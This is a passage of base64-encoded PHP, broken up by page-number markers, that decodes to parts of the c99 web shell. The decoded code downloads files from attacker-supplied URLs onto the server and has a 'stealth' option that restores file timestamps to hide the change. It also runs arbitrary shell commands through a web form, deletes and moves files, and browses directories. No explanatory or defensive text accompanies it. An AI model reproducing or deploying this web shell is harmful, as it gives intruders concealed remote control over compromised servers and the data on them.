fQ0KICAgfQ0KICAgaWYgKCghZXJlZ2koImh0dHA6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVn aSgiaHR0cHM6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiZnRwOi8vIiwkdXBsb2FkdXJs KSkpIHtlY2hvICI8Yj5JbmNvcmVjdCB1cmwhPC9iPjxicj4iO30NCiAgIGVsc2UNCiAgIHsNCiAg ICAkc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50 cygkdXBsb2FkdXJsKTsNCiAgICAkZHQgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc3QsNCk7DQog ICAgaWYgKCEkY29udGVudCkgeyR1cGxvYWRtZXNzIC49ICAiQ2FuJ3QgZG93bmxvYWQgZmlsZSE8 YnI+Ijt9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0g c3RhdCgkdXBsb2FkcGF0aC4kZGVzdGluKTt9DQogICAgICRmcCA9IGZvcGVuKCR1cGxvYWRwYXRo LiRkZXN0aW4sInciKTsNCiAgICAgaWYgKCEkZnApIHskdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3Jp dGluZyB0byBmaWxlICIuaHRtbHNwZWNpYWxjaGFycygkZGVzdGluKS4iITxicj4iO30NCiAgICAg ZWxzZQ0KICAgICB7DQogICAgICBmd3JpdGUoJGZwLCRjb250ZW50LHN0cmxlbigkY29udGVudCkp Ow0KICAgICAgZmNsb3NlKCRmcCk7DQogICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJHVw bG9hZHBhdGguJGRlc3Rpbiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICB9DQogICAgfQ0KICAg fQ0KICB9DQogfQ0KIGlmICgkbWluaWZvcm0pDQogew0KICBlY2hvICI8Yj4iLiR1cGxvYWRtZXNz LiI8L2I+IjsNCiAgJGFjdCA9ICJscyI7DQogfQ0KIGVsc2UNCiB7DQogIGVjaG8gIjxiPkZpbGUg dXBsb2FkOjwvYj48YnI+PGI+Ii4kdXBsb2FkbWVzcy4iPC9iPjxmb3JtIGVuY3R5cGU9XCJtdWx0 aXBhcnQvZm9ybS1kYXRhXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1l PVwiYWN0XCIgdmFsdWU9XCJ1cGxvYWRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJk XCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZCkuIlwiPg0KU2VsZWN0IGZpbGUgb24geW91ciBsb2Nh bCBjb21wdXRlcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRmaWxlXCIgdHlwZT1cImZpbGVcIj48YnI+ Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7b3I8YnI+DQpJbnB1dCBVUkw6IDxpbnB1 dCBuYW1lPVwidXBsb2FkdXJsXCIgdHlwZT1cInRleHRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxj aGFycygkdXBsb2FkdXJsKS4iXCIgc2l6ZT1cIjcwXCI+PGJyPjxicj4NClNhdmUgdGhpcyBmaWxl IGRpcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRk aXNwZC4iXCI+PGJyPjxicj4NCkZpbGUtbmFtZSAoYXV0by1maWxsKTogPGlucHV0IG5hbWU9dXBs b2FkZmlsZW5hbWUgc2l6ZT0yNT48YnI+PGJyPg0KPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT11 cGxvYWRhdXRvbmFtZSB2YWx1ZT0xIGlkPWRmND4mbmJzcDtjb252ZXJ0IGZpbGUgbmFtZSB0byBs b3ZlcmNhc2U8YnI+PGJyPg0KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwi VXBsb2FkXCI+DQo8L2Zvcm0+IjsNCiB9DQp9DQppZiAoJGFjdCA9PSAiZGVsZXRlIikNCnsNCiAk ZGVsZXJyID0gIiI7DQogZm9yZWFjaCAoJGFjdGJveCBhcyAkdikNCiB7DQogICRyZXN1bHQgPSBG QUxTRTsNCiAgJHJlc3VsdCA9IGZzX3Jtb2JqKCR2KTsNCiAgaWYgKCEkcmVzdWx0KSB7JGRlbGVy ciAuPSAiQ2FuJ3QgZGVsZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30NCiB9DQog aWYgKCFlbXB0eSgkZGVsZXJyKSkge2VjaG8gIjxiPkRlbGV0aW5nIHdpdGggZXJyb3JzOjwvYj48 YnI+Ii4kZGVsZXJyO30NCiAkYWN0ID0gImxzIjsNCn0NCmlmICghJHVzZWZzYnVmZikNCnsNCiBp ZiAoKCRhY3QgPT0gInBhc3RlIikgb3IgKCRhY3QgPT0gImNvcHkiKSBvciAoJGFjdCA9PSAiY3V0 Iikgb3IgKCRhY3QgPT0gInVuc2VsZWN0IikpIHtlY2hvICI8Y2VudGVyPjxiPlNvcnJ5LCBidWZm ZXIgaXMgZGlzYWJsZWQuIEZvciBlbmFibGUsIHNldCBkaXJlY3RpdmUgXCJcJHVzZUZTYnVmZlwi IGFzIFRSVUUuPC9jZW50ZXI+Ijt9DQp9DQplbHNlDQp7DQogaWYgKCRhY3QgPT0gImNvcHkiKSB7 JGVyciA9ICIiOyAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJj b3B5Il0sJGFjdGJveCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7IH0N CiBlbHNlaWYgKCRhY3QgPT0gImN1dCIpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X21lcmdl KCRzZXNzX2RhdGFbImN1dCJdLCRhY3Rib3gpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRh Y3QgPSAibHMiO30NCiBlbHNlaWYgKCRhY3QgPT0gInVuc2VsZWN0Iikge2ZvcmVhY2ggKCRzZXNz X2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNl dCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fSBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBh cyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJj dXQiXVska10pO319IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7fQ0KIGlm ICgkYWN0ZW1wdHlidWZmKSB7JHNlc3NfZGF0YVsiY29weSJdID0gJHNlc3NfZGF0YVsiY3V0Il0g PSBhcnJheSgpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7fQ0KIGVsc2VpZiAoJGFjdHBhc3Rl
  • 33. YnVmZikNCiB7DQogICRwc3RlcnIgPSAiIjsNCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0g YXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX2Nv cHlfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4i ITxicj4iO30NCiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVsk a10pO30NCiAgfQ0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikNCiAgew0K ICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19tb3ZlX29iaigkdiwkdG8pKSB7 JHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICB1bnNl dCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICB9DQogIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRh KTsNCiAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6 PC9iPjxicj4iLiRwc3RlcnI7fQ0KICAkYWN0ID0gImxzIjsNCiB9DQogZWxzZWlmICgkYWN0YXJj YnVmZikNCiB7DQogICRhcmNlcnIgPSAiIjsNCiAgaWYgKHN1YnN0cigkYWN0YXJjYnVmZl9wYXRo LC03LDcpID09ICIudGFyLmd6IikgeyRleHQgPSAiLnRhci5neiI7fQ0KICBlbHNlIHskZXh0ID0g Ii50YXIuZ3oiO30NCiAgaWYgKCRleHQgPT0gIi50YXIuZ3oiKSB7JGNtZGxpbmUgPSAidGFyIGNm enYiO30NCiAgJGNtZGxpbmUgLj0gIiAiLiRhY3RhcmNidWZmX3BhdGg7DQogICRvYmplY3RzID0g YXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgZm9y ZWFjaCgkb2JqZWN0cyBhcyAkdikNCiAgew0KICAgJHYgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVD VE9SWV9TRVBBUkFUT1IsJHYpOw0KICAgaWYgKHN1YnN0cigkdiwwLHN0cmxlbigkZCkpID09ICRk KSB7JHYgPSBiYXNlbmFtZSgkdik7fQ0KICAgaWYgKGlzX2RpcigkdikpDQogICB7DQogICAgaWYg KHN1YnN0cigkdiwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR2IC49IERJUkVDVE9SWV9T RVBBUkFUT1I7fQ0KICAgICR2IC49ICIqIjsNCiAgIH0NCiAgICRjbWRsaW5lIC49ICIgIi4kdjsN CiAgfQ0KICAkdG1wID0gcmVhbHBhdGgoIi4iKTsNCiAgY2hkaXIoJGQpOw0KICAkcmV0ID0gbXlz aGVsbGV4ZWMoJGNtZGxpbmUpOw0KICBjaGRpcigkdG1wKTsNCiAgaWYgKGVtcHR5KCRyZXQpKSB7 JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3Ry Mm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9DQogICRyZXQgPSBzdHJfcmVwbGFjZSgiXHJc biIsIlxuIiwkcmV0KTsNCiAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgaWYgKCRjb3B5 X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNl c3NfZGF0YVsiY29weSJdWyRrXSk7fX0NCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAk az0+JHYpDQogIHsNCiAgIGlmIChpbl9hcnJheSgkdiwkcmV0KSkge2ZzX3Jtb2JqKCR2KTt9DQog ICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICB9DQogIGM5OV9zZXNzX3B1dCgkc2Vz c19kYXRhKTsNCiAgaWYgKCFlbXB0eSgkYXJjZXJyKSkge2VjaG8gIjxiPkFyY2hpdmF0aW9uIGVy cm9yczo8L2I+PGJyPiIuJGFyY2Vycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCiBlbHNlaWYgKCRh Y3RwYXN0ZWJ1ZmYpDQogew0KICAkcHN0ZXJyID0gIiI7DQogIGZvcmVhY2goJHNlc3NfZGF0YVsi Y29weSJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYg KCFmc19jb3B5X29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAi LiR0by4iITxicj4iO30NCiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNv cHkiXVska10pO30NCiAgfQ0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikN CiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19tb3ZlX29iaigkdiwk ZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAg IHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogIH0NCiAgYzk5X3Nlc3NfcHV0KCRzZXNz X2RhdGEpOw0KICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVy cm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCn0NCmlmICgkYWN0 ID09ICJjbWQiKQ0Kew0KaWYgKHRyaW0oJGNtZCkgPT0gInBzIC1hdXgiKSB7JGFjdCA9ICJwcm9j ZXNzZXMiO30NCmVsc2VpZiAodHJpbSgkY21kKSA9PSAidGFza2xpc3QiKSB7JGFjdCA9ICJwcm9j ZXNzZXMiO30NCmVsc2UNCnsNCiBAY2hkaXIoJGNoZGlyKTsNCiBpZiAoIWVtcHR5KCRzdWJtaXQp KQ0KIHsNCiAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIGNvbW1hbmQ8L2I+Ojxi cj4iOw0KICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgQGNoZGlyKCRkKTsNCiAgJHJldCA9 IG15c2hlbGxleGVjKCRjbWQpOw0KICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQi LCJ3Iik7DQogIGlmICgkY21kX3R4dCkNCiAgew0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJc clxuIiwkcmV0KSkrMTsNCiAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICBlY2hv ICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+ Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7DQogIH0NCiAgZWxzZSB7ZWNo byAkcmV0LiI8YnI+Ijt9DQogIEBjaGRpcigkb2xkZGlyKTsNCiB9DQogZWxzZSB7ZWNobyAiPGI+ RXhlY3V0aW9uIGNvbW1hbmQ8L2I+IjsgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0g VFJVRTt9fQ0KIGVjaG8gIjxmb3JtIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l PWFjdCB2YWx1ZT1jbWQ+PHRleHRhcmVhIG5hbWU9Y21kIGNvbHM9MTIyIHJvd3M9MTA+Ii5odG1s c3BlY2lhbGNoYXJzKCRjbWQpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwi ZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9 c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7 PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIiOyBp
  • 34. ZiAoJGNtZF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7DQp9DQp9DQpp ZiAoJGFjdCA9PSAibHMiKQ0Kew0KIGlmIChjb3VudCgkbHNfYXJyKSA+IDApIHskbGlzdCA9ICRs c19hcnI7fQ0KIGVsc2UNCiB7DQogICRsaXN0ID0gYXJyYXkoKTsNCiAgaWYgKCRoID0gQG9wZW5k aXIoJGQpKQ0KICB7DQogICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgeyRs aXN0W10gPSAkZC4kbzt9DQogICBjbG9zZWRpcigkaCk7DQogIH0NCiAgZWxzZSB7fQ0KIH0NCiBp ZiAoY291bnQoJGxpc3QpID09IDApIHtlY2hvICI8Y2VudGVyPjxiPkNhbid0IG9wZW4gZm9sZGVy ICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiIpITwvYj48L2NlbnRlcj4iO30NCiBlbHNlDQogew0K ICAvL0J1aWxkaW5nIGFycmF5DQogICRvYmplY3RzID0gYXJyYXkoKTsNCiAgJHZkID0gImYiOyAv L1ZpZXdpbmcgbW9kZQ0KICBpZiAoJHZkID09ICJmIikNCiAgew0KICAgJG9iamVjdHNbImhlYWQi XSA9IGFycmF5KCk7DQogICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXkoKTsNCiAgICRvYmpl Y3RzWyJsaW5rcyJdID0gYXJyYXkoKTsNCiAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXkoKTsN CiAgIGZvcmVhY2ggKCRsaXN0IGFzICR2KQ0KICAgew0KICAgICRvID0gYmFzZW5hbWUoJHYpOw0K ICAgICRyb3cgPSBhcnJheSgpOw0KICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsg JHJvd1tdID0gIkxJTksiO30NCiAgICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4k bzsgJHJvd1tdID0gIkxJTksiO30NCiAgICBlbHNlaWYgKGlzX2RpcigkdikpDQogICAgew0KICAg ICBpZiAoaXNfbGluaygkdikpIHskdHlwZSA9ICJMSU5LIjt9DQogICAgIGVsc2UgeyR0eXBlID0g IkRJUiI7fQ0KICAgICAkcm93W10gPSAkdjsNCiAgICAgJHJvd1tdID0gJHR5cGU7DQogICAgfQ0K ICAgIGVsc2VpZihpc19maWxlKCR2KSkgeyRyb3dbXSA9ICR2OyAkcm93W10gPSBmaWxlc2l6ZSgk dik7fQ0KICAgICRyb3dbXSA9IGZpbGVtdGltZSgkdik7DQogICAgaWYgKCEkd2luKQ0KICAgIHsN CiAgICAgLy8kb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHYpKTsNCiAgICAgLy8kZ3Ig PSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHYpKTsNCiAgICAgJHJvd1tdID0gKCRvd1sibmFt ZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkdikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1l Il06ZmlsZWdyb3VwKCR2KSk7DQogICAgfQ0KICAgICRyb3dbXSA9IGZpbGVwZXJtcygkdik7DQog ICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyRvYmplY3RzWyJoZWFkIl1bXSA9 ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskb2JqZWN0c1sibGlua3MiXVtdID0g JHJvdzt9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JG9iamVjdHNbImZvbGRlcnMiXVtdID0g JHJvdzt9DQogICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyRvYmplY3RzWyJmaWxlcyJdW10gPSAk cm93O30NCiAgICAkaSsrOw0KICAgfQ0KICAgJHJvdyA9IGFycmF5KCk7DQogICAkcm93W10gPSAi PGI+TmFtZTwvYj4iOw0KICAgJHJvd1tdID0gIjxiPlNpemU8L2I+IjsNCiAgICRyb3dbXSA9ICI8 Yj5Nb2RpZnk8L2I+IjsNCiAgIGlmICghJHdpbikNCiAgeyRyb3dbXSA9ICI8Yj5Pd25lci9Hcm91 cDwvYj4iO30NCiAgICRyb3dbXSA9ICI8Yj5QZXJtczwvYj4iOw0KICAgJHJvd1tdID0gIjxiPkFj dGlvbjwvYj4iOw0KICAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkc29ydCk7DQogICAkc29ydCA9 ICRwYXJzZXNvcnRbMF0uJHBhcnNlc29ydFsxXTsNCiAgICRrID0gJHBhcnNlc29ydFswXTsNCiAg IGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyRwYXJzZXNvcnRbMV0gPSAiZCI7fQ0KICAgJHkg PSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9JyIuJGRz cGFjdC4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVu dC50b2RvLnNvcnQudmFsdWU9JyIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiI7 ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj4iOw0KICAgJHJvd1ska10gLj0gJHk7DQogICBmb3Io JGk9MDskaTxjb3VudCgkcm93KS0xOyRpKyspDQogICB7DQogICAgaWYgKCRpICE9ICRrKSB7JHJv d1skaV0gPSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9 JyIuJGRzcGFjdC4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztk b2N1bWVudC50b2RvLnNvcnQudmFsdWU9JyIuJGkuJHBhcnNlc29ydFsxXS4iJztkb2N1bWVudC50 b2RvLnN1Ym1pdCgpO1wiPiIuJHJvd1skaV0uIjwvYT4iO30NCiAgIH0NCiAgICR2ID0gJHBhcnNl c29ydFswXTsNCiAgIHVzb3J0KCRvYmplY3RzWyJmb2xkZXJzIl0sICJ0YWJzb3J0Iik7DQogICB1 c29ydCgkb2JqZWN0c1sibGlua3MiXSwgInRhYnNvcnQiKTsNCiAgIHVzb3J0KCRvYmplY3RzWyJm aWxlcyJdLCAidGFic29ydCIpOw0KICAgaWYgKCRwYXJzZXNvcnRbMV0gPT0gImQiKQ0KICAgew0K ICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJz Il0pOw0KICAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZmls ZXMiXSk7DQogICB9DQogICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRvYmplY3RzWyJoZWFkIl0s JG9iamVjdHNbImZvbGRlcnMiXSwkb2JqZWN0c1sibGlua3MiXSwkb2JqZWN0c1siZmlsZXMiXSk7 DQogICAkdGFiID0gYXJyYXkoKTsNCiAgICR0YWJbImNvbHMiXSA9IGFycmF5KCRyb3cpOw0KICAg JHRhYlsiaGVhZCJdID0gYXJyYXkoKTsNCiAgICR0YWJbImZvbGRlcnMiXSA9IGFycmF5KCk7DQog ICAkdGFiWyJsaW5rcyJdID0gYXJyYXkoKTsNCiAgICR0YWJbImZpbGVzIl0gPSBhcnJheSgpOw0K ICAgJGkgPSAwOw0KICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGEpDQogICB7DQogICAgJHYgPSAk YVswXTsNCiAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAkZGlyID0gZGlybmFtZSgkdik7DQog ICAgaWYgKCRkaXNwX2Z1bGxwYXRoKSB7JGRpc3BwYXRoID0gJHY7fQ0KICAgIGVsc2UgeyRkaXNw cGF0aCA9ICRvO30NCiAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOw0KICAg IGlmIChpbl9hcnJheSgkdiwkc2Vzc19kYXRhWyJjdXQiXSkpIHskZGlzcHBhdGggPSAiPHN0cmlr ZT4iLiRkaXNwcGF0aC4iPC9zdHJpa2U+Ijt9DQogICAgZWxzZWlmIChpbl9hcnJheSgkdiwkc2Vz
  • 35. c19kYXRhWyJjb3B5Il0pKSB7JGRpc3BwYXRoID0gIjx1PiIuJGRpc3BwYXRoLiI8L3U+Ijt9DQog ICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikNCiAgICB7DQogICAgIGlmIChlcmVn KCRyWzBdLCRvKSkNCiAgICAgew0KICAgICAgaWYgKCghaXNfbnVtZXJpYygkclsxXSkpIG9yICgk clsxXSA+IDMpKSB7JHJbMV0gPSAwOyBvYl9jbGVhbigpOyBlY2hvICJXYXJuaW5nISBDb25maWd1 cmF0aW9uIGVycm9yIGluIFwkcmVneHBfaGlnaGxpZ2h0WyIuJGsuIl1bMF0gLSB1bmtub3duIGNv bW1hbmQuIjsgYzk5c2hleGl0KCk7fQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgICRyWzFd ID0gcm91bmQoJHJbMV0pOw0KICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgaWYg KCgkclsxXSA9PSAwKSBvciAoKCRyWzFdID09IDEpIGFuZCAhJGlzZGlyKSBvciAoKCRyWzFdID09 IDIpIGFuZCAhJGlzZGlyKSkNCiAgICAgICB7DQogICAgICAgIGlmIChlbXB0eSgkclsyXSkpIHsk clsyXSA9ICI8Yj4iOyAkclszXSA9ICI8L2I+Ijt9DQogICAgICAgICRkaXNwcGF0aCA9ICRyWzJd LiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgaWYgKCRyWzRdKSB7YnJlYWs7fQ0KICAgICAgIH0N CiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgICAkdW8gPSB1cmxlbmNvZGUoJG8pOw0KICAgICR1 ZCA9IHVybGVuY29kZSgkZGlyKTsNCiAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICRyb3cg PSBhcnJheSgpOw0KICAgIGlmICgkbyA9PSAiLiIpDQogICAgew0KICAgICAkcm93W10gPSAiPGEg aHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9JyIuJGRzcGFjdC4i Jztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIic7 ZG9jdW1lbnQudG9kby5zb3J0LnZhbHVlPSciLiRzb3J0LiInO2RvY3VtZW50LnRvZG8uc3VibWl0 KCk7XCI+Ii4kby4iPC9hPiI7DQogICAgICRyb3dbXSA9ICJMSU5LIjsNCiAgICB9DQogICAgZWxz ZWlmICgkbyA9PSAiLi4iKQ0KICAgIHsNCiAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIjXCIgb25j bGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSciLiRkc3BhY3QuIic7ZG9jdW1lbnQudG9k by5kLnZhbHVlPSciLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiInO2RvY3VtZW50LnRvZG8u c29ydC52YWx1ZT0nIi4kc29ydC4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPiIuJG8uIjwv YT4iOw0KICAgICAkcm93W10gPSAiTElOSyI7DQogICAgfQ0KICAgIGVsc2VpZiAoaXNfZGlyKCR2 KSkNCiAgICB7DQogICAgIGlmIChpc19saW5rKCR2KSkNCiAgICAgew0KICAgICAgJGRpc3BwYXRo IC49ICIgPT4gIi5yZWFkbGluaygkdik7DQogICAgICAkdHlwZSA9ICJMSU5LIjsNCiAgICAgICRy b3dbXSA9ICAiJm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3Qu dmFsdWU9J2xzJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIuJHV2LiInO2RvY3VtZW50LnRvZG8u c29ydC52YWx1ZT0nIi4kc29ydC4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPlsiLiRkaXNw cGF0aC4iXTwvYT4iOyAgICAgICAgIH0NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICAkdHlwZSA9 ICJESVIiOw0KICAgICAgJHJvd1tdID0gICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJk b2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi4kdXYu Iic7ZG9jdW1lbnQudG9kby5zb3J0LnZhbHVlPSciLiRzb3J0LiInO2RvY3VtZW50LnRvZG8uc3Vi bWl0KCk7XCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgIH0NCiAgICAgJHJvd1tdID0gJHR5 cGU7DQogICAgfQ0KICAgIGVsc2VpZihpc19maWxlKCR2KSkNCiAgICB7DQogICAgICRleHQgPSBl eHBsb2RlKCIuIiwkbyk7DQogICAgICRjID0gY291bnQoJGV4dCktMTsNCiAgICAgJGV4dCA9ICRl eHRbJGNdOw0KICAgICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgICAgJHJvd1tdID0gICIm bmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7 ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLiR1ZC4iJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIu JHVvLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+Ii4kZGlzcHBhdGguIjwvYT4iOw0KICAg 